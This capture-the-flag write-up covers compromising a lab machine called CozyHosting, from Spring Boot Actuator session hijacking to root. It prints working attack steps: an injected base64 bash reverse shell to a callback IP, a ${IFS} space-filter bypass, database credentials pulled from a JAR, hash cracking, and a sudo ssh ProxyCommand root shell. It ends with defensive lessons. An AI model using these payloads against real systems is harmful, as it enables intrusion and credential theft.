Recon
Two ports. The web server header identified the framework — Spring Boot — which immediately pointed me at Actuator endpoints.
$ nmap -sC -sV -oN nmap/initial 10.129.4.1 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 80/tcp open http nginx 1.18.0 |_http-title: CozyHosting - Home |_http-redirect: http://cozyhosting.htb/
$ echo "10.129.4.1 cozyhosting.htb" >> /etc/hosts
Enumeration
Spring Boot Actuator
Spring Boot Actuator is a production-ready feature set that exposes management endpoints — health checks, metrics, environment info, and critically: session data. I fuzzed with a Spring Boot-specific wordlist.
$ gobuster dir -u http://cozyhosting.htb -w /usr/share/seclists/Discovery/Web-Content/spring-boot.txt /actuator (Status: 200) /actuator/env (Status: 200) /actuator/sessions (Status: 200) /actuator/mappings (Status: 200) /actuator/beans (Status: 200)
/actuator/sessions returns a JSON object mapping session IDs to usernames:
$ curl -s http://cozyhosting.htb/actuator/sessions {"D158AB72...":"kanderson","UNAUTHORIZED":"UNAUTHORIZED"}
/actuator/sessions exposes live session tokens for all authenticated users. Setting this token as the JSESSIONID cookie grants immediate authenticated access as that user — no credentials needed.
I set the kanderson session token as a cookie and navigated to /admin — access granted.
Admin Panel — Command Injection
The admin panel has an SSH connection feature that takes a hostname and username, then appears to call ssh username@hostname on the server. I intercepted the POST request with Burp and tested the username field for injection.
POST /executessh HTTP/1.1
Host: cozyhosting.htb
Cookie: JSESSIONID=D158AB72...
Content-Type: application/x-www-form-urlencoded
host=localhost&username=test;id;
The error message revealed that spaces in usernames cause issues — SSH rejects them. I bypassed this with ${IFS} (the Internal Field Separator variable, which acts as a space in bash):
Foothold
# encode the reverse shell payload to avoid spaces $ echo "bash -i >& /dev/tcp/10.10.14.X/4444 0>&1" | base64 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC5YLzQ0NDQgMD4mMQo= # inject via Burp — IFS bypasses the space check username=test;echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC5YLzQ0NDQgMD4mMQo=|base64${IFS}-d|bash;
connect to [10.10.14.X] from (UNKNOWN) [10.129.4.1] 44286 app@cozyhosting:/app$ id uid=1001(app) gid=1001(app) groups=1001(app)
Shell as app. The JAR file was in the current directory — I extracted it and read the application properties to find database credentials.
app@cozyhosting:/app$ jar xf cloudhosting-0.0.1.jar app@cozyhosting:/app$ cat BOOT-INF/classes/application.properties spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting spring.datasource.username=postgres spring.datasource.password=Vg&nvzAQ7XxR
app@cozyhosting:/app$ psql -h localhost -U postgres -W cozyhosting Password: Vg&nvzAQ7XxR cozyhosting=# SELECT * FROM users; name | password -------+---------------------------------------------------------- admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm kanderson | $2a$10$...
$ hashcat -m 3200 admin_hash.txt /usr/share/wordlists/rockyou.txt $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited app@cozyhosting:/app$ su josh Password: manchesterunited josh@cozyhosting:/app$
Privilege Escalation
josh@cozyhosting:~$ sudo -l User josh may run the following commands on cozyhosting: (root) NOPASSWD: /usr/bin/ssh *
Unrestricted sudo ssh. GTFObins SSH entry: the ProxyCommand option executes an arbitrary command before establishing the connection. With sudo, this runs as root.
josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' x root@cozyhosting:/home/josh# id uid=0(root) gid=0(root) groups=0(root)
Flags
Lessons Learned
- Spring Boot Actuator endpoints must never be publicly accessible —
/actuator/sessionsis a session hijack goldmine that bypasses authentication entirely. - Command injection in SSH wrapper features is common — any web application that calls
sshwith user-supplied hostname/username is potentially injectable; spaces filter bypasses like${IFS}are well-known. - JAR files contain
application.propertieswith database credentials in plaintext — always extract deployed JARs when you have file system access in a Spring Boot application. - GTFObins SSH ProxyCommand:
sudo ssh -o ProxyCommand=';bash 0<&2 1>&2' xis a reliable root shell when ssh is in the sudo list.
/actuator/sessions from public access. Sanitize all inputs to shell-calling features; use parameterized subprocess calls instead of string concatenation. Store credentials in environment variables or a secrets manager, not bundled in application JARs.